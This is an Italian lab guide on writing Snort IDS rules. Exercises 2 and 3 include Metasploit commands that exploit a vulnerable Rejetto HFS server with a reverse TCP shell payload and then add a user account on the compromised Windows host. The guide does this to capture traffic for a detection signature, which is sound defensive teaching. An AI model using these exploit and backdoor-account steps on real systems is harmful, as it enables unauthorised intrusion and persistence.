In questa serie di esercizi di laboratorio, dimostreremo varie tecniche di scrittura delle regole di Snort, dalla sintassi di base delle regole alla scrittura di regole volte a rilevare specifici tipi di attacchi. Esamineremo anche alcuni approcci di base all’analisi e all’ottimizzazione delle prestazioni delle regole.
Esercizio 1: Snort come IDS
Snort è molto conosciuto come IDS. Dal sito snort.org:
“Snort® è un sistema di prevenzione e rilevamento delle intrusioni di rete (IDS/IPS) open source sviluppato da Sourcefire. Combinando i vantaggi della firma, del protocollo e dell’ispezione basata sulle anomalie, Snort è la tecnologia IDS/IPS più ampiamente distribuita in tutto il mondo. Con milioni di download e quasi 400.000 utenti registrati, Snort è diventato lo standard de facto per IPS.”
Va anche detto che Sourcefire è stato acquisito da Cisco all’inizio di ottobre 2013.
Snort può essenzialmente funzionare in tre diverse modalità: Modalità IDS, modalità di registrazione e modalità sniffer. In questa parte del laboratorio useremo Snort in modalità IDS, per poi utilizzarlo successivamente come logger di pacchetti. Useremo la VM di Ubuntu Server, la VM di Windows Server 2012 R2 e la VM di Kali Linux per questo laboratorio.
Hai installato Snort versione 2.9.8 sulla tua VM di Ubuntu Server. Avviate la vostra VM di Ubuntu Server, accedete con le credenziali fornite all’inizio di questa guida e aprite una shell di terminale facendo doppio clic sul collegamento sul desktop. (In alternativa, potete premere Ctrl+Alt+T per aprire una nuova shell.)
Per verificare la versione di Snort, digitate snort -V e premete Invio.
Prossimo, dobbiamo configurare il nostro valore HOME_NET: la rete che proteggeremo. Per prima cosa, inserite ifconfig nella vostra shell del terminale per vedere la configurazione della rete. Notate l’indirizzo IP e il valore dell’interfaccia di rete. Vedi l’immagine qui sotto (il tuo IP potrebbe essere diverso).
Poi, digita il seguente comando per aprire il file di configurazione di snort nell’editor di testo gedit:
sudo gedit /etc/snort/snort.conf
Inserisci la password per Ubuntu Server. Quando il file snort.conf si apre, scorri in basso fino a trovare l’impostazione ipvar HOME_NET. Vorrai cambiare l’indirizzo IP per essere la tua attuale subnet di classe C. Attualmente, dovrebbe essere 192.168.132.0/24. Dovrete semplicemente cambiare la parte dell’indirizzo IP in modo che corrisponda all’IP della vostra Ubuntu Server VM, assicurandovi di lasciare il “.0/24″ alla fine.
Selezionate Save dalla barra in alto e chiudete il file. A questo punto, Snort è pronto per essere eseguito. Solo che non ha nessuna regola caricata. Per verificare, esegui il seguente comando:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Qui stiamo dicendo a Snort di testare (-T) il file di configurazione (-c indica la sua posizione) sull’interfaccia eth0 (inserisci il valore della tua interfaccia se è diversa). Questo produrrà un sacco di output. Scorrete fino a vedere “0 Snort rules read” (vedere l’immagine qui sotto).
Passiamo attraverso la sintassi di questa regola:
Testate della regola
- alert – Azione della regola. Snort genererà un allarme quando la condizione impostata è soddisfatta.
- any – IP sorgente. Snort guarderà tutte le fonti.
- any – Porta sorgente. Snort esaminerà tutte le porte.
- -> – Direzione. Dalla fonte alla destinazione.
- $HOME_NET – IP di destinazione. Stiamo usando il valore HOME_NET dal file snort.conf.
- any – Porta di destinazione. Snort guarderà tutte le porte della rete protetta.
Opzioni della regola:
- msg: “ICMP test” – Snort includerà questo messaggio nell’avviso.
- sid:1000001 – ID della regola di Snort. Ricordate che tutti i numeri inferiori a 1.000.000 sono riservati; ecco perché iniziamo con 1.000.001. (È possibile utilizzare qualsiasi numero, purché sia maggiore di 1.000.000.)
- rev:1 – Numero di revisione. Questa opzione permette una più facile manutenzione delle regole.
- classtype:icmp-event – Categorizza la regola come “icmp-event”, una delle categorie predefinite di Snort. Questa opzione aiuta nell’organizzazione delle regole.
Cliccate su Save e chiudete il file. Ora eseguiamo nuovamente il comando di test della configurazione di Snort:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Se si scorre in alto, si dovrebbe vedere che una regola è stata caricata.
Ora, avviamo Snort in modalità IDS e diciamogli di visualizzare gli avvisi nella console:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Ancora una volta, stiamo indicando a Snort il file di configurazione da usare (-c) e specificando l’interfaccia (-i eth0). L’opzione -A console stampa gli avvisi su standard output, e -q è per la modalità “quiet” (non mostra banner e report di stato). Non dovreste vedere alcun output quando inserite il comando perché Snort non ha rilevato alcuna attività specificata nella regola che abbiamo scritto.
Generiamo qualche attività e vediamo se la nostra regola funziona.
Avvia la tua VM di Kali Linux. Potrebbe essere necessario inserire startx dopo aver inserito le credenziali per arrivare alla GUI. Una volta lì, aprite una shell di terminale facendo clic sull’icona nella barra dei menu in alto.
Ora iniziate a pingare il vostro Ubuntu Server con il seguente comando (usate l’IP del vostro Ubuntu Server invece di .x.x):
ping 192.168.x.x
Lasciatelo girare per un paio di secondi e premete Ctrl+C per fermarvi e tornare al prompt.
Ora tornate al vostro Server Ubuntu con Snort IDS. Dovreste vedere gli avvisi generati per ogni richiesta ICMP Echo e messaggio di risposta Echo, con il testo del messaggio che abbiamo specificato nell’opzione msg:
Possiamo anche vedere l’indirizzo IP sorgente dell’host responsabile dell’attività che genera l’allarme. Nell’esempio sopra, è 192.168.132.133; il vostro potrebbe essere diverso (ma sarà l’IP della vostra VM Kali Linux). La nostra regola di prova sta funzionando! Premete Ctrl+C per fermare Snort e tornare al prompt.
Ora scriviamo un’altra regola, questa volta un po’ più specifica. Aprite il nostro file local.rules in un editor di testo:
sudo gedit /etc/snort/rules/local.rules
Primo, commentiamo la nostra prima regola. Mettete un segno cancelletto (#) davanti ad essa. Su una nuova linea, scrivi la seguente regola (usando il tuo IP di Kali Linux per x.x):
alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: “FTP connection attempt”; sid:1000002; rev:1;)
Qui abbiamo cambiato il protocollo in TCP, usato un IP sorgente specifico, impostato il numero della porta di destinazione a 21 (porta predefinita per le connessioni FTP) e cambiato il testo del messaggio di avviso. Salvate e chiudete il file. Ora eseguiamo di nuovo Snort in modalità IDS, ma questa volta, aggiungeremo un’altra opzione, come segue:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii
Stiamo dicendo a Snort di registrare gli allarmi generati nel formato ASCII piuttosto che il pcap di default. Una volta che Snort è in esecuzione (di nuovo, non vedrete alcun output subito), andate nella vostra VM Kali Linux e inserite il seguente comando in una shell terminale (utilizzando l’indirizzo IP del vostro Ubuntu Server):
ftp 192.168.x.x
Tornate al Server Ubuntu. Dovresti vedere che è stato generato un allarme.
Per assicurarti che la regola non stia generando falsi positivi, puoi aprire un altro terminale sulla VM di Ubuntu Server e provare a connetterti allo stesso server FTP. Non dovresti vedere nessun nuovo avviso. Premi Ctrl+C per fermare Snort.
Ora esegui il seguente comando per fare l’elenco della directory dei log di Snort:
ls /var/log/snort
Dovresti vedere qualcosa di simile alla seguente immagine:
Il file snort.log.* (potresti averne più di uno se prima hai generato più di un’attività che genera allarmi) è il file di log .pcap. Non può essere letto con un editor di testo. L’indirizzo IP che vedi (il tuo sarà diverso dall’immagine) è l’IP di origine dell’allarme che abbiamo appena visto per la nostra regola FTP. Si tratta di una directory. Vediamo cosa c’è dentro:
sudo ls /var/log/snort/192.168.x.x
Puoi vedere che c’è un file che prende il nome dal protocollo (TCP) e dai numeri di porta coinvolti nell’attività. Possiamo leggere questo file con un editor di testo o semplicemente usare il comando cat:
sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
Abbiamo le stesse informazioni che abbiamo visto nell’output della console con alcuni dettagli aggiuntivi.
E i file .pcap? Possiamo usare Wireshark, un popolare analizzatore di protocollo di rete, per esaminarli. Inserisci sudo wireshark per avviare il programma. Fai clic su OK per riconoscere i messaggi di errore/avvertimento che appaiono. Una volta nella finestra principale di Wireshark, vai su File → Open.
Sfoglia la directory /var/log/snort, seleziona il file snort.log.* e clicca su Open.
Tante altre informazioni qui! Clicca per espandere qualsiasi elemento nel pannello centrale. Ora possiamo guardare il contenuto di ogni pacchetto.
Chiudi Wireshark. Lo useremo molto durante i laboratori.
Per la nostra prossima regola, scriviamone una che cerchi alcuni contenuti, oltre a protocolli, IP e numeri di porta. Per prima cosa, abbiamo bisogno di generare qualche attività che ci fornisca il contenuto necessario per una regola.
Lancia la tua VM di Windows Server 2012 R2 e accedi con le credenziali fornite all’inizio di questa guida. Questa VM ha un server FTP in esecuzione su di essa. Per prima cosa, scoprite l’indirizzo IP della vostra VM Windows Server 2102 R2. Potete farlo aprendo il prompt dei comandi dal collegamento sul desktop e digitando ipconfig.
Nota il valore “IPv4 Address” (il tuo potrebbe essere diverso dall’immagine). Ora tornate alla vostra VM Ubuntu Server e digitate ftp 192.168.x.x (usando l’indirizzo IP che avete appena cercato). Quando ti viene richiesto il nome e la password, premi semplicemente Invio. Esaminate l’output.
Come possiamo vedere, inserendo credenziali non valide si ottiene un messaggio che dice “Login o password non corretti”. Ora abbiamo abbastanza informazioni per scrivere la nostra regola. Digitare quit per uscire da FTP e tornare al prompt. Aprite di nuovo il nostro file local.rules:
sudo gedit /etc/snort/rules/local.rules
Siccome lavoreremo molto con questo file, potete lasciarlo aperto e avviare una nuova shell terminale per inserire i comandi.
Aggiungi la seguente regola sulla nuova linea:
alert tcp $HOME_NET 21 -> any any (msg: “FTP failed login”; content: “Login or password incorrect”; sid:1000003; rev:1;)
Nota che ora abbiamo impostato il valore HOME_NET come nostro IP sorgente, perché cercheremo le risposte del server FTP in uscita. Salvate il file. Ora testiamo la regola. Avviare Snort in modalità IDS:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Ora andate nella vostra VM Kali Linux e provate a connettervi al server FTP su Windows Server 2012 R2 (ftp 192.168.x.x), inserendo qualsiasi valore per Nome e Password. Inserite quit per tornare al prompt. Tornate alla VM di Ubuntu Server. Si dovrebbero vedere diversi avvisi generati da entrambe le regole attive che abbiamo caricato in Snort. Premi CTRL+C per fermare Snort.
Esercizio 2: Snort come un logger di pacchetti
Con il panorama degli attacchi in rapida evoluzione e i vettori oggi in circolazione, potremmo non sapere nemmeno cosa dovremmo cercare finché non abbiamo visto l’attacco. Poi forse, dopo aver esaminato quel traffico, potremmo creare una regola per quel “nuovo” attacco specifico. Questo è esattamente il modo in cui vengono create le regole predefinite di Snort disponibili al pubblico. Ora eseguiremo Snort in modalità di registrazione e vedremo cosa siamo in grado di identificare il traffico in base agli attacchi che facciamo.
In questo esercizio, simuleremo un attacco al nostro Windows Server eseguendo Snort in modalità di registrazione dei pacchetti. Poi esamineremo i pacchetti registrati per vedere se possiamo identificare una firma di attacco.
Assicuratevi che tutte e tre le VM (Ubuntu Server, Windows Server e Kali Linux) siano in esecuzione. Sulla tua VM Kali Linux, inserisci il seguente testo in un terminale shell:
msfconsole
Questo lancerà Metasploit Framework, una popolare piattaforma di penetration testing. Ci vorranno alcuni secondi per caricarlo. Ignorate l’errore di connessione al database. Aspettate di vedere il prompt msf>. Una volta lì, inserite la seguente serie di comandi:
use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x (indirizzo IP della VM Kali Linux)
set RHOST 192.168.x.x (indirizzo IP della VM di Windows Server 2012 R2)
set RPORT 8081
Qui abbiamo configurato un exploit contro una versione vulnerabile di Rejetto HFS HTTP File server che è in esecuzione sulla nostra VM di Windows Server 2012 R2.
Prima di eseguire l’exploit, abbiamo bisogno di avviare Snort in modalità di registrazione dei pacchetti. Andate nella vostra VM di Ubuntu Server ed inserite il seguente comando in un terminale shell:
sudo snort -dev -q -l /var/log/snort -i eth0
Non vedrete alcun output. Ora tornate all’exploit msf che avete configurato sulla VM di Kali Linux e inserite exploit. Se l’exploit ha avuto successo, dovreste ritrovarvi con una shell di comando:
Ora che abbiamo accesso al sistema, facciamo quanto segue:
Creare un nuovo account utente:
net user accountname P@ssword12 /ADD
Cambiare le directory in c:
cd
Fare una nuova directory con il vostro nome.
mkdir yourname
Premete ora Ctrl+C e rispondete y per “sì” per chiudere il vostro accesso alla shell di comando.
Prossimo, andate nella vostra VM Ubuntu Server e premete Ctrl+C per fermare Snort. Inserite sudo wireshark nella vostra shell del terminale. In Wireshark, andare su File → Open e navigare in /var/log/snort. A questo punto avremo diversi file snort.log.*. Selezionate quello che è stato modificato più recentemente e cliccate su Open.
Dovreste vedere un bel po’ di pacchetti catturati.
Dobbiamo trovare quelli relativi al nostro attacco simulato. In Wireshark, selezionare Modifica → Trova pacchetto. Nella finestra di dialogo risultante, seleziona il pulsante di opzione Stringa. Successivamente, seleziona Packet Bytes per il criterio Search In. Poi, per la stringa di ricerca, inserisci il nome utente che hai creato.
Una volta configurata la finestra di ricerca, clicca sul pulsante Trova. La ricerca dovrebbe trovare il pacchetto che contiene la stringa che hai cercato. Vai avanti e seleziona quel pacchetto. Sarà quello di colore arancione scuro. Clicca con il tasto destro e seleziona Follow TCP Stream.
Questa azione dovrebbe mostrarti tutti i comandi che sono stati inseriti in quella sessione TCP. Questo includerà la creazione dell’account, così come le altre azioni.
Dopo aver verificato i tuoi risultati, vai avanti e chiudi la finestra del flusso. Questo dovrebbe riportarti al pacchetto che hai selezionato all’inizio. Ora premi la freccia su finché non vedi la parte ASCII del tuo dump esagonale mostrare “C:UsersAdministratorDesktophfs2.3b>” nel pannello inferiore. Vedi sotto.
Nota la parte selezionata nel grafico sopra. Useremo questo contenuto per creare un avviso che ci farà sapere quando una shell di comando viene inviata a un altro host come risultato dell’exploit Rejetto HFS. Riduci a icona la finestra di Wireshark (non chiuderla ancora).
Esercizio 3: Costruire una regola personalizzata dal traffico registrato
Vogliamo vedere un allarme ogni volta che Snort vede “C:UsersAdministratorDesktophfs2.3b>”. Andate al nostro file local.rules (se l’avete chiuso, apritelo di nuovo come root, usando lo stesso comando di prima) e aggiungete la seguente regola su una nuova linea (notate che stiamo facendo l’escape di tutte le backslash per essere sicuri che siano incluse nel contenuto):
alert tcp $HOME_NET any -> any any (msg: “Command Shell Access”; content: “C:UsersAdministratorDesktophfs2.3b”; sid:1000004; rev:1;)
Salvare il file. Eseguite nuovamente Snort in modalità IDS:
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
Ora tornate alla vostra VM Kali Linux. Dovreste essere ancora al prompt per l’exploit di rejetto. Inserite exploit per eseguirlo di nuovo. Aspettate di avere accesso alla shell di comando e tornate al terminale di Snort su Ubuntu Server. Dovreste vedere che sono stati generati degli avvisi, basati sulla nostra nuova regola:
Premete Ctrl+C sul terminale Kali Linux e inserite y per uscire dalla shell di comando. Poi premi Ctrl+C sul terminale di Ubuntu Server per fermare Snort.
In questo caso, abbiamo del contenuto leggibile dall’uomo da usare nella nostra regola. Ma questo non è sempre il caso.
Modifichiamo la nostra regola in modo che cerchi contenuti rappresentati in formato esadecimale. Per prima cosa, nel nostro file local.rules, copiate la nostra ultima regola e incollatela sotto nella nuova riga. Ora commentate la vecchia regola e cambiate il valore “rev” per la nuova regola in “2”. Vedi sotto.
Riappare la finestra di Wireshark con la nostra cattura, con la stessa porzione di payload selezionata. Sfortunatamente, non è possibile copiare i valori esadecimali direttamente dalla finestra principale di Wireshark, ma c’è una soluzione semplice che funzionerà per noi. Con il contenuto necessario selezionato, cliccate con il tasto destro del mouse sul pacchetto corrispondente (evidenziato) nel pannello superiore o sulla voce evidenziata “Data:” nel pannello centrale e selezionate Copy → Bytes → Offset Hex. Vedi sotto.
Ora, nel nostro file local.rules, seleziona l’argomento contenuto (tutto ciò che sta tra le virgolette) nella nostra nuova regola, fai clic con il tasto destro e clicca su Paste. Ora rimuovete attentamente tutti gli spazi extra, le interruzioni di riga e così via, lasciando solo i valori esadecimali necessari. Poi metti i simboli di pipe (|) su entrambi i lati. La vostra regola finita dovrebbe assomigliare all’immagine qui sotto.
Salvate il file. Avviate Snort in modalità IDS. Successivamente, andate nella vostra VM Kali Linux ed eseguite nuovamente l’exploit. Aspettate di avere la shell di comando e guardate l’output di Snort. Dovreste vedere gli avvisi generati.
Questa volta vediamo due avvisi invece di quattro perché abbiamo incluso la rappresentazione hex del simbolo “>” nel contenuto, rendendo la regola più specifica.
Premete Ctrl+C per fermare Snort. Poi, sulla VM di Kali Linux, premete Ctrl+C e digitate y per uscire dalla shell di comando. Digitate exit per tornare al normale prompt.
Queste sono solo alcune delle basi della scrittura delle regole di Snort. Più avanti vedremo alcune tecniche più avanzate.